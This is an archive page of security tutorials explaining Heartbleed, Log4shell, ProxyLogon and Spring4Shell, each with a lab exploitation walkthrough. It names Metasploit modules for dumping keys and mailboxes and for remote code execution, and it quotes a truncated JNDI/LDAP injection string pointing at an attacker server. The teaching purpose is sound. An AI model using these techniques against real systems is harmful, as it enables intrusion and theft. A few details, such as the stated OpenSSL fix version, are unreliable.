Other vulnerabilities Archives - Hackercool Magazine

Posted on August 4, 2023September 5, 2023 by kanishka10

Heartbleed vulnerability explained

Hello, aspiring Ethical Hackers. In this blogpost, you will learn about Heartbleed vulnerability. This bug was publicly disclosed in 2014 and is rated as one of the most critical security vulnerabilities of the last decade.

What is Heartbleed bug?

Heartbleed is a buffer overread vulnerability that exists in an implementation of an extension in OpenSSL cryptography library. This OpenSSL library is widely used in Transport Layer Security (TLS) protocol. The name of the extension which is used in this OpenSSL library is heartbeat. Hence the name of the bug. Heartbleed can be exploited even if vulnerable OpenSSL is not running as a TLS server or client. In a buffer-over-read vulnerability, more data can be read than usually allowed. See how SSL/TLS works. By exploiting this vulnerability, the private key of the SSL certificate can be read.

Practical Walkthrough

Let’s see how this works. For demonstrating this, I will be using a Vulhub lab to setup a vulnerable instance of heartbleed as shown below.

Once the vulnerable instance is ready, I start Metasploit & load the heartbleed module.

I set the IP address and execute the module.

The module is by default set to scan for the vulnerability and it does exactly that. Apart from this action, this module has other actions.

For example, the “dump” action dumps the content of the memory.

When we set the action to “key”, the private key of the SSL server gets dumped.

Heartbleed Vulnerability 111213 832x1024

Real World Examples

At the time of public disclosure of heartbleed, almost 17% of total web servers were found vulnerable to heartbleed, including Google, Yahoo, DropBox, Facebook etc. Here are some Real-world examples of the exploitation of the heartbleed bug.

Mumsnet:

Mumsnet is a parenting site in United Kingdom. Cyber thieves have obtained passwords and personal messages from Mumsnet by exploiting heatbleed in 2014. Mumsnet has over 1.5 million registered members and there is no idea how many details got hacked.

Canada Revenue Agency:

Social Insurance members of over 900 taxpayers were stolen from Canada Revenue Agency by exploiting heartbleed bug within a 6 hours period on 8 April 2014.

Mitigation and Prevention

The bug was fixed by updating to the latest version of OpenSSL version 1.0.1-9. This version adds bounds check to prevent buffer over read.

Posted on March 8, 2023September 5, 2023 by kanishka10

Log4shell Explained For Beginners

Hello aspiring Ethical Hackers. In this article you will learn about the Log4shell vulnerability and why it is dangerous. According to Wiz and EY, this vulnerability affects over 93% of the total enterprise cloud environments. At the time of writing this article, Year 2022 has seen over a billion log4shell exploitation attempts.

The software that is affected by this vulnerability includes Apache Camel, Apache Druid, Apache Flink, Apache Solr, Apache struts2, Apache Tomcat, Elastic Search, Atllasian Bitbucket, almost all software of Avaya, some software of Cisco, Citrix,Cloudera, Dell, F-Secure, Hitachi Energy, HP, IBM, Intel, Lenovo, McAfee, Microsoft, MongoDB, Netapp, Neo4j (OMG, we just installed it in last Issue), Nulab, Oracle, Palantir, Palo -Alto, PaperCut, Rapid7, RedHat, Salesforce, Schneider Electric, Securonix, Siemens, SolarWinds, Sophos, Splunk, Thales, Varian, VMWare, Xylem, and Zendesk etc. The commercial services that are vulnerable to log4shell include Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam and Tencent QQ.

If you read the above list of software vulnerable to log4shell, you will understand why it is given CVSS rating of 10.

What is Log4j or Log4shell vulnerability?

Log4j is actually an open source logging framework written in Java that software developers use to log or record data in their applications. The data that is logged can also include user input. For example, most web servers use logging. When you try to access a login webpage, apart from displaying you that webpage the server can create a record of your visit. Log4j was written in 2001 by Ceki Gülcü and now is part of Apache Logging Services which is a project of the Apache Software Foundation.

There is a feature in Log4j that allows remote users to specify custom code for formatting a log message. However, this feature can also be used to execute code on the target remotely by submitting it from a third party server. This allows a remote attacker to even take complete control of the target.

Enough theory, Let’s see it practically. For this, first we need a target. We have setup a vulnerable Docker container which we downloaded from here. This container can be started as shown below.

Once the container is up and running, check it’s IP address as shown below.

The target IP address is 172.17.0.2. Now let’s set up the Attacker system. We have setup a new directory named log4shell to store all files belonging to log4shell.

We have downloaded a Java exploit to exploit log4j from here.

After extracting the contents of the zip archive, we navigate into the extracted directory to find the exploit. The command to run this exploit is given as shown below.

In the place of “your-private-ip”, we need to enter the attacker IP address (172.17.0.1). Now, what does this exploit do? It starts a fake LDAP server and HTTP server as shown below.

The fake LDAP server is the third party server we need. Next, we need to trigger the exploit. Open a new terminal and run the command as shown below.

In the above command we are starting with curl, you can see “$(jndi)”. JNDI stands for Java Naming and Directory Interface and it is used for lookup of Java objects during program runtime. JNDI can interact with several directory interfaces which provide different scheme of files lookup.

One among them is the Lightweight Directory Access Protocol (LDAP). LDAP is a non-Java-specific protocol that can retrieve the object data as a URL which can be either local or remote. JNDI can be used to load data at an URL as Java object data by utilizing LDAP.

By specifying ${jndi:ldap://172.17.0.1:…..Ao=}, we are asking JNDI to use LDAP to query the URL and load the data there as Java object data. Well, what does the exploit do? As soon as we trigger the exploit, switch to the terminal on which our fake LDAP server is running.

It received a LDAP query and executed a command. It created a new file named “pwned” in the /tmp directory of the target (since that is what the exploit is programmed to do). Let’s check if the new file is created or not. This can be done as shown below.

All good, but what is “X-Api-version” we used while triggering the exploit? That’s a HTTP header. As soon as we trigger the exploit, it will query the fake malicious LDAP server and it is inputting a string that is logged to the target (-H 172.17.0.2) and then loading the malicious code (In this case, creating a new file on target). That’s how Log4jshell exploit works.

Posted on August 27, 2022September 5, 2023 by kanishka10

ProxyLogon vulnerability : Explained In detail

Hello aspiring ethical hackers. In this article, you will learn about the ProxyLogon vulnerability. ProxyLogon is a vulnerability that impacts the Microsoft Exchange Server. It is estimated that over 2,50,000 Microsoft Exchange Servers were victims of this vulnerability at the time of its detection.

The Proxy Logon vulnerability is related to the four zero day vulnerabilities that were detected in the Exchange Server in December 2020. On December 10, 2020, Orange Tsai, security researcher working in DEVCORE, discovered that attackers can combine some vulnerabilities in the Exchange Server to achieve remote code execution on the target and upload a webshell to it. The four vulnerabilities are,

CVE-2021-26855: SERVER SIDE REQUEST FORGERY

This is a Server-Side Request Forgery (SSRF) vulnerability in the Exchange Server that allows remote attackers to gain admin access once exploited. This can be exploited by sending a specially crafted web request to a vulnerable Exchange Server. The web request contains an XML SOAP payload directed at the Exchange Web Services (EWS) API endpoint. This request bypasses authentication using specially crafted cookies. This vulnerability, combined with the knowledge of a victim’s email address, means the attacker can exfiltrate all emails from the target’s Exchange mailbox.

CVE-2021-26857: REMOTE CODE EXECUTION VULNERABILITY

This is a post-authentication insecure deserialization vulnerability in the Unified Messaging service of an Exchange Server that allows commands to be run with SYSTEM privileges. The SYSTEM account is used by the operating system and services that run under Windows. As readers have seen many times in our Magazine, a SYSTEM account in Windows has full permissions by default. A hacker can either steal credentials or use the above mentioned vulnerability to execute arbitrary commands on a vulnerable Exchange Server in the security context of SYSTEM.

CVE-2021-26858 AND CVE-2021-27065

These two vulnerabilities are post-authentication arbitrary file write vulnerabilities that allow attackers to write files to any path on a vulnerable Exchange Server. A malicious hacker can also exploit the previously mentioned SSRF vulnerability to achieve admin access and then exploit this vulnerability to write web shells to virtual directories (VDirs). These virtual directories are published to the internet by the server’s Internet Information Server (IIS).
IIS is Microsoft’s web server and a dependency that is installed with Exchange Server and provides services for Outlook on the web, previously known as Outlook Web Access (OWA), Outlook Anywhere, ActiveSync, Exchange Web Services, Exchange Control Panel (ECP), the Offline Address Book (OAB) and AutoDiscover.
According to Microsoft, these vulnerabilities were first exploited by HAFNIUM, a Chinese government sponsored APT (Advanced Persistent Threat) but operating out of China. This group is known to install the web shell named China Chopper. As of 12th March 2021, at least 9 other hacker groups exploited these vulnerabilities apart from HAFNIUM. The versions of Exchange Servers vulnerable to these vulnerabilities are,

Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012

The exploit is named Proxy Logon as it exploits the proxy architecture and login mechanism in the Exchange Server.

How to detect ProxyLogon vulnerability?

Metasploit has some modules related to these vulnerabilities. Let’s have a look at these modules.

The auxiliary/gather/exchange_proxylogon_collector module exploits the CVE-2021-26855 vulnerability and dumps all the contents of the mailboxes.

The exploit/windows/http/exchange_proxylogon_rce module exploits the CVE-2021-26855 vulnerability to bypass authentication and gain admin access and then writes a arbitrary file to the target using CVE-2021-27065 to achieve remote code execution. All the above mentioned versions are vulnerable by default.

The auxiliary/scanner/http/exchange_proxylogon module checks for the CVE-2021-26855 vulnerability that makes Exchange Servers vulnerable.

Microsoft has released a security update on March 2021 to patch these vulnerabilities in Exchange Server versions mentioned above. Applying these patches will fix these vulnerabilities. As soon as Microsoft released these security updates, hacker groups around the world went on a scanning spree to hunt for unpatched Exchange Servers.

As there was a delay in applying patches, Microsoft also released a one-click mitigation tool that fixed these vulnerabilities in Exchange Servers. Microsoft has also noted that this tool named Microsoft Exchange On-Premises Mitigation Tool (EOMT) is helpful for those organizations that don’t have a dedicated IT security staff. This tool also includes the Microsoft Safety Scanner and an URL Rewrite mitigation for CVE-2021-26855. However, it stressed that this tool was not an alternative for applying the released security patches.

Posted on May 18, 2022September 5, 2023 by kanishka10

Spring4Shell : Explained With POC

Hello, aspiring Ethical Hackers. In this article you will learn about Spring4shell, a new zero-day vulnerability that has been discovered in Spring Framework. Spring Framework is an open-source application framework for Java and is normally deployed with Apache Tomcat servers.

Vulnerability & Impact

There are two vulnerabilities affecting Spring Framework, one is in Spring Core and second is in Spring Cloud. The Spring Core RCE vulnerability impacts Java class objects. The vulnerability in Spring Core has been given name Spring4shell in the lines of Log4shell as both vulnerabilities affect a library. Although, it took its name from Log4shell, it is not as dangerous as its namesake.

This vulnerability affects all versions of Spring Core Framework running on JDK versions 9 and after. This vulnerability is tracked as CVE-2022-22965. There is another RCE in Spring Cloud Function versions <=3.1.6 and <=3.2.2.

Proof Of Concept

It’s time to see the exploitation of Spring4shell practically. Let’s create a new directory named spring4shell.

Clone the repository shown in the image below. This repository contains both vulnerable docker image and exploit.

Build the Docker image vulnerable to spring4shell as shown below.

You can check if the target is set or not by visiting the URL in browser.

If you get the above message, the target is ready. Run the exploit. The python exploit uploads a java web shell on the target after exploiting vulnerability.

The exploit completed successfully. The web shell can be accessed at above highlighted address.

The POC is succesful,

Category: Other vulnerabilities

Heartbleed vulnerability explained

Log4shell Explained For Beginners

ProxyLogon vulnerability : Explained In detail

How to detect ProxyLogon vulnerability?

Spring4Shell : Explained With POC

Categories